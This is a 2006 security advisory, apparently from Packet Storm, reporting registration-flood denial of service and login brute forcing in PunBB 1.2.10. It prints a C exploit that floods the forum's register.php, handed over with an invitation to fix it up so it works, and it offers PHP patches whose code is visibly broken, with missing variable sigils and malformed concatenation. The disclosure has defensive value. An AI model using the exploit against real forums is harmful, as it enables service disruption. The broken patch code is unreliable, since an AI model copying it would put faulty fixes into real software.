PunBB1.2.10.txt

2006-02-22T00:00:00
ID PACKETSTORM:44067
Type packetstorm
Reporter Paisterist
Modified 2006-02-22T00:00:00

Description

                                        
                                            `/*  
---------------------------------------------------------------  
[N]eo [S]ecurity [T]eam [NST]® PunBB 1.2.10 Multiple DoS Vulnerabilities  
---------------------------------------------------------------  
Program : PunBB 1.2.10  
Homepage: http://www.punbb.org  
Vulnerable Versions: PunBB 1.2.10 & lower ones  
Risk: Critical!  
Impact: Denial of service by registering too many users (Critical)  
Possible bruteforce attack to login (Low)  
  
-> PunBB 1.2.10 Multiple DoS Vulnerabilites <-  
---------------------------------------------------------------  
  
- Description  
---------------------------------------------------------------  
In short, PunBB is a fast and lightweight PHP powered discussion board.   
It is released under the GNU Public License. Its primary goal is to be   
a faster, smaller and less graphic alternative to otherwise excellent   
discussion boards such as phpBB, Invision Power Board or vBulletin.   
PunBB has fewer features than many other discussion boards, but is   
generally faster and outputs smaller pages.  
  
- Tested  
---------------------------------------------------------------  
Tested in localhost & many forums  
  
- Bug  
---------------------------------------------------------------  
1- [ Denial of service ]  
When the register query happens, the script doesn't check if the IP   
had registered another user before shortly.  
  
This bug can lead to some 'nasty' consecuences:  
  
- No more space in database.  
- A parsing efficiency penalty.  
- A headache for the admin trying to eliminate the users.  
- Server undefined time out of service (Denial of service)  
  
Here is the code:  
  
$now = time();  
  
$intial_group_id = ($pun_config['o_regs_verify'] == '0') ?   
$pun_config['o_default_user_group'] : PUN_UNVERIFIED;  
$password_hash = pun_hash($password1);  
  
// Add the user  
$db->query('INSERT INTO '.$db->prefix.'users (username, group_id, password,   
email, email_setting, save_pass, timezone, language, style, registered,   
registration_ip, last_visit) VALUES(\''.$db->escape($username).'\',   
'.$intial_group_id.', \''.$password_hash.'\', \''.$email1.'\', '.$email_setting.',   
'.$save_pass.', '.$timezone.' , \''.$db->escape($language).'\', \'  
'.$pun_config['o_default_style'].'\', '.$now.', \''.get_remote_address().'\',   
'.$now.')') or error('Unable to create user', __FILE__, __LINE__, $db->error());  
  
$new_uid = $db->insert_id();  
  
// If we previously found out that the e-mail was banned  
if ($banned_email && $pun_config['o_mailing_list'] != '')  
{  
$mail_subject = 'Alert - Banned e-mail detected';  
$mail_message = 'User \''.$username.'\' registered with banned   
e-mail address: '.$email1."\n\n".'User profile: '.$pun_config  
['o_base_url'].'/profile.php?id='.$new_uid."\n\n".'-- '."\n".  
'Forum Mailer'."\n".'(Do not reply to this message)';  
  
pun_mail($pun_config['o_mailing_list'], $mail_subject, $mail_message);  
}  
  
Before this code, there is no other query that checks against database flooding.  
  
2- [ Possible bruteforce attack method to login ]  
  
Maybe you think this kind of bugs are not bugs, but unfortunately nowadays   
there're so many pepole that practise this kind of attacks.  
When a user registers, the forum say that the password should be at least 4 bytes   
long, if we think a bit, cracking a 4 bytes long password (maybe alphanumeric,   
because I'm sure that 90% of passwords are like that) it would take some   
time depending of your connection and the server lactancy, but it's possible.   
Actually, the server will suffer an efficency penalty, however this bug it's   
considered as a `Low risk' bug.  
  
Similar to the above bug, the script doesn't check if the IP has requested   
too many times to login without success. An attacker (lame..xD) can make a   
bruteforce attack to guess the password of any user he/she wants to.  
  
login.php:  
  
if (isset($_POST['form_sent']) && $action == 'in')  
{  
$form_username = trim($_POST['req_username']);  
$form_password = trim($_POST['req_password']);  
  
$username_sql = ($db_type == 'mysql' || $db_type == 'mysqli') ? 'username=\'  
'.$db->escape($form_username).'\'' : 'LOWER(username)=LOWER(\''.  
$db->escape($form_username).'\')';  
  
$result = $db->query('SELECT id, group_id, password, save_pass FROM '.  
$db->prefix.'users WHERE '.$username_sql) or error('Unable to fetch user   
info', __FILE__, __LINE__, $db->error());  
list($user_id, $group_id, $db_password_hash, $save_pass) =   
$db->fetch_row($result);  
  
$authorized = false;  
  
if (!empty($db_password_hash))  
{  
$sha1_in_db = (strlen($db_password_hash) == 40) ? true : false;  
$sha1_available = (function_exists('sha1') || function_exists('mhash'))   
? true : false;  
  
$form_password_hash = pun_hash($form_password);  
// This could result in either an SHA-1 or an MD5 hash   
(depends on $sha1_available)  
  
if ($sha1_in_db && $sha1_available && $db_password_hash   
== $form_password_hash)  
$authorized = true;  
else if (!$sha1_in_db && $db_password_hash == md5($form_password))  
{  
  
- Exploit  
---------------------------------------------------------------  
[1] - Denial of service  
Be considered and don't abuse of this kind of attacks.  
The code has been modified, change whatever you think necessary to   
make it work. ;)  
  
/*  
Name: NST-Exploit Punbb 2.0.10 Denial Of Service  
Copyright: NeoSecurity  
Author: K4P0  
  
[./]NST-XplPunbb www.victim.com 2.0.0.6 /punbb/  
  
#################################################  
PunBB 2.0.10 Denial of Service exploit by K4P0   
Use only at your own reputation risk! ;)   
  
www.NeoSecurityTeam.net   
#################################################  
  
[1] - Trying if connection is possible...  
[2] - Connected!  
[3] - Flooding localhost...  
  
Use it at your own risk!.  
*/  
  
#define WINDOWS  
//#define LINUX  
  
#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
#ifdef WINDOWS  
#include <winsock2.h>  
#include <windows.h>  
// Link to (lib)ws2_32.a  
#else  
#include <sys/types.h>  
#include <sys/socket.h>  
#include <netinet/in.h>  
#endif  
  
#define NST_ALIVE 0  
  
int Connect(char*);  
void SendPack(int, int, char*, char*);   
void _perror(char*);  
void HowTo(char*);  
  
int main(int argc, char* argv[])  
{  
int vict_sock, dos = 0;  
puts("#################################################");  
puts(" PunBB 2.0.10 Denial of Service exploit by K4P0 ");  
puts(" Use only at your own reputation risk! ;) \n");  
puts(" www.NeoSecurityTeam.net ");  
if(argc < 4) HowTo(argv[0]);  
puts("#################################################\n");  
  
printf("[1] - Trying if connection is possible...\n", argv[1]);  
fflush(stdout);  
vict_sock = Connect(argv[2]);  
printf("[2] - Connected!\n");  
printf("[3] - Flooding %s", argv[1]);  
#ifdef WINDOWS  
closesocket(vict_sock);  
#else  
close(vict_sock);  
#endif  
  
while(NST_ALIVE)  
{  
if(!(dos % 10)) fprintf(stderr, ".");  
vict_sock = Connect(argv[2]);  
SendPack(vict_sock, dos, argv[3], argv[1]);  
dos++;  
#ifdef WINDOWS  
closesocket(vict_sock);  
WSACleanup();  
#else  
close(vict_sock);  
#endif  
}  
return 0;  
}  
// I'm to lazy to use gethostby(addr|name) :)  
int Connect(char* IP)  
{  
struct sockaddr_in *_addr;  
int vict_sck;  
  
#ifdef WINDOWS  
WSADATA wsaData;  
if(WSAStartup(MAKEWORD(1, 1), &wsaData) < 0)  
{  
//WSAGetLastError()? Nah...  
fprintf(stderr, "[*] WSAStartup() failed");  
exit(-1);  
}  
#endif  
  
if(!(_addr=(struct sockaddr_in *)malloc(sizeof(struct sockaddr_in))))  
{  
fprintf(stderr, "[*] Unable to reserve memory");  
exit(-1);  
}  
  
memset(_addr, 0x0, sizeof(struct sockaddr_in));  
_addr->sin_family = AF_INET;  
_addr->sin_port = htons(80);  
_addr->sin_addr.s_addr = inet_addr(IP);  
  
#ifdef WINDOWS  
if((vict_sck = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0)) < 0)  
{  
fprintf(stderr, "WSASocket() failed");  
exit(-1);  
}  
else  
if((vict_sck = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)   
_perror("socket() ");  
#endif  
  
if(connect(vict_sck, (struct sockaddr *)_addr, sizeof(struct sockaddr)) < 0)  
_perror("connect() ");   
  
free(_addr);  
return vict_sck;   
}  
  
void SendPack(int v_sck, int var, char* path, char* DNS)  
{  
char *HTTP_PACK, *HTTP_MPCK, *HTTP_POST;  
if(!(HTTP_PACK = (char *)malloc(2048)) || !(HTTP_MPCK = (char *)malloc(1024)) ||  
!(HTTP_POST = (char *)malloc(512)))  
{  
fprintf(stderr, "Error trying to reserver memory");  
exit(-1);  
}  
sprintf(HTTP_PACK, "POST %sregister.php?action=register HTTP/1.1\n"  
"Host: %s\n"  
"User-Agent: Mozilla/5.0 Gecko/20050511 Firefox/1.0.4\n"  
"Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\n"  
"Accept-Language: es-ar,es;q=0.8,en-us;q=0.5,en;q=0.3\n"  
"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\n"  
"Keep-Alive: 300\n"  
"Proxy-Connection: keep-alive\n"  
"Referer: http://%s%sregister.php\n"  
"Content-Type: application/x-www-form-urlencoded\n", path, DNS, DNS, path);  
  
sprintf(HTTP_POST, "form_sent=1&req_username=%d__NsT&req_password1=flood&req_password2=flood&"  
"req_email1=%d_peace@NsT.net&timezone=-10&email_setting=1", var, var);  
  
sprintf(HTTP_MPCK, "Content-Length: %d\n\n", strlen(HTTP_POST));  
  
strcat(HTTP_PACK, HTTP_MPCK);  
strcat(HTTP_PACK, HTTP_POST);  
send(v_sck, HTTP_PACK, strlen(HTTP_PACK), 0);  
  
free(HTTP_PACK);  
free(HTTP_MPCK);  
free(HTTP_POST);  
return;  
}  
  
void _perror(char* msg)  
{  
perror(msg);  
fflush(stdout);  
exit(-1);  
}  
  
void HowTo(char* program)  
{  
fprintf(stderr, "%s <DNS> <IP> <Path>\n", program);  
fprintf(stderr, "f.e: ./NsT-XplPunbb www.victim.com 2.0.0.6 /punbb/\n");  
fprintf(stderr, "#################################################");  
exit(0);  
}  
  
// EOF  
  
[2] - Possible brufeforce attack to login  
NST will not release any code to exploit this bug.  
  
- Solutions  
---------------------------------------------------------------  
1- [ Denial Of Service ]  
A very simple fix should be implemented:  
  
$now = time();  
  
$intial_group_id = ($pun_config['o_regs_verify'] == '0') ?   
$pun_config['o_default_user_group'] : PUN_UNVERIFIED;  
$password_hash = pun_hash($password1);  
  
// NeoSecurityTeam PunBB 1.2.10 DoS Patch by K4P0  
$reglimit = $now - 60*5; // Lets wait for 5 minutes.  
$SQL_Anti_Flood = 'SELECT * FROM '.db->prefix.'users WHERE registration_ip  
=\''.get_remote_address().'\' AND registered>\''.$reglimit'\'';  
$checkflood = mysql_num_rows(mysql_query($SQL_Anti_Flood));  
  
if($checkflood > 0) error('Please wait some minutes to register again',  
'register.php', '', '');  
// IP doesn't try to flood our forum, insert user safely. :)  
  
// Add the user  
$db->query('INSERT INTO '.$db->prefix.'users (username, group_id,   
password, email, email_setting, save_pass, timezone, language, style,   
registered, registration_ip, last_visit) VALUES(\''.$db->escape($username).'\',   
'.$intial_group_id.', \''.$password_hash.'\', \''.$email1.'\', '.$email_setting.',   
'.$save_pass.', '.$timezone.' , \''.$db->escape($language).'\', \''.  
$pun_config['o_default_style'].'\', '.$now.', \''.get_remote_address().  
'\', '.$now.')') or error('Unable to create user', __FILE__, __LINE__,   
$db->error());  
$new_uid = $db->insert_id();  
  
  
// If we previously found out that the e-mail was banned  
if ($banned_email && $pun_config['o_mailing_list'] != '')  
{  
$mail_subject = 'Alert - Banned e-mail detected';  
$mail_message = 'User \''.$username.'\' registered with   
banned e-mail address: '.$email1."\n\n".'User profile: '.$pun_config 'o_base_url'].  
'/profile.php?id='.$new_uid."\n\n".'-- '."\n".'Forum Mailer'."\n".  
'(Do not reply to this message)';  
  
pun_mail($pun_config['o_mailing_list'], $mail_subject, $mail_message);  
}  
  
2- [ Possible bruteforce attack method to login ]  
  
- Implement a similar code that you can see above.  
- Set password of 5 or more characters.   
  
Ok, the 'logical' solution it's the second because nobody can be so stupid to try   
to crack a 5 bytes length password remotely! but the `right' one it's the first.  
  
Here you can see a possible fix:  
Note: This method needs a new table called ($db->prefix)iptrylog wich   
contains when has a IP last try to login unsucecssfully.  
  
Patch Part I : Check if IP is trying to flood.  
Patch Part II : If the IP has logged successfully, delete it from the iptrylog table.  
Patch Part III: If the IP has logged unsuccessfully, insert it in the iptrylog table.  
  
if (isset($_POST['form_sent']) && $action == 'in')  
{  
$form_username = trim($_POST['req_username']);  
$form_password = trim($_POST['req_password']);  
  
$username_sql = ($db_type == 'mysql' || $db_type == 'mysqli') ? 'username=\'  
'.$db->escape($form_username).'\'' : 'LOWER(username)=LOWER(\''.$db->escape  
($form_username).'\')';  
  
// NeoSecurityTeam PunBB 1.2.10 Bruteforce login Patch by K4P0 (Part 1/3)  
$logintime = time() - 10; // 10 seconds delay.  
$SQLoginCheck = 'SELECT * FROM '.db->prefix.'iptrylog WHERE ip=\'  
'.getremoteaddress().'\' and lastry>=\''.$logintime.'\'';  
  
$check = mysql_num_rows(mysql_query($SQLoginCheck));  
if($check > 0) error('Please wait some minutes to login again',  
'login.php', '', '');  
// End of part 1 of patch, see below  
  
$result = $db->query('SELECT id, group_id, password, save_pass FROM   
'.$db->prefix.'users WHERE '.$username_sql) or error('Unable to fetch   
user info', __FILE__, __LINE__, $db->error());  
list($user_id, $group_id, $db_password_hash, $save_pass) = $db->fetch_row($result);  
  
$authorized = false;  
  
if (!empty($db_password_hash))  
{  
$sha1_in_db = (strlen($db_password_hash) == 40) ? true : false;  
$sha1_available = (function_exists('sha1') || function_exists('mhash'))   
? true : false;  
  
$form_password_hash = pun_hash($form_password); // This could result   
in either an SHA-1 or an MD5 hash (depends on $sha1_available)  
  
if ($sha1_in_db && $sha1_available && $db_password_hash ==   
$form_password_hash)  
$authorized = true;  
else if (!$sha1_in_db && $db_password_hash == md5($form_password))  
{  
$authorized = true;  
  
// NeoSecurityTeam PunBB 1.2.10 Login Patch by K4P0 (Part 2/3)  
@mysql_query('DELETE FROM '.db->prefix.'iptrylog.' WHERE ip=\'  
'.getremoteaddress().'\'');  
// End of Part 2.  
if ($sha1_available) // There's an MD5 hash in the database,   
but SHA1 hashing is available, so we update the DB  
$db->query('UPDATE '.$db->prefix.'users SET password=\'  
'.$form_password_hash.'\' WHERE id='.$user_id) or error  
('Unable to update user password', __FILE__, __LINE__, $db->error());  
}  
}  
  
if (!$authorized)  
{  
// NeoSecurityTeam PunBB 1.2.10 login Patch by K4P0 (Part 3/3)  
@mysql_query('INSERT INTO '.db->prefix.'iptrylog (ip, lastry) VALUES   
(\''.getremoteaddress().'\', \''.$logintime+10.'\')');  
  
message($lang_login['Wrong user/pass'].' <a href="login.php?  
action=forget">'.$lang_login['Forgotten pass'].'</a>');  
}  
  
- References  
---------------------------------------------------------------  
http://www.neosecurityteam.net/advisories/Advisory-16.txt  
  
- Credits  
--------------------------------------------------------------  
Discovered by K4P0 -> k4p0k4p0[at]hotmail[dot]com  
  
[N]eo [S]ecurity [T]eam [NST]® - http://NeoSecurityTeam.net/  
  
Irc.InfoGroup.cl #neosecurityteam  
  
- Greets  
---------------------------------------------------------------  
Paisterist   
HaCkZaTaN   
Link   
Daemon21   
erg0t  
NST Comunity!  
  
@@@@'''@@@@'@@@@@@@@@'@@@@@@@@@@@  
'@@@@@''@@'@@@''''''''@@''@@@''@@  
'@@'@@@@@@''@@@@@@@@@'''''@@@''''  
'@@'''@@@@'''''''''@@@''''@@@''''  
@@@@''''@@'@@@@@@@@@@''''@@@@@'''  
*/  
`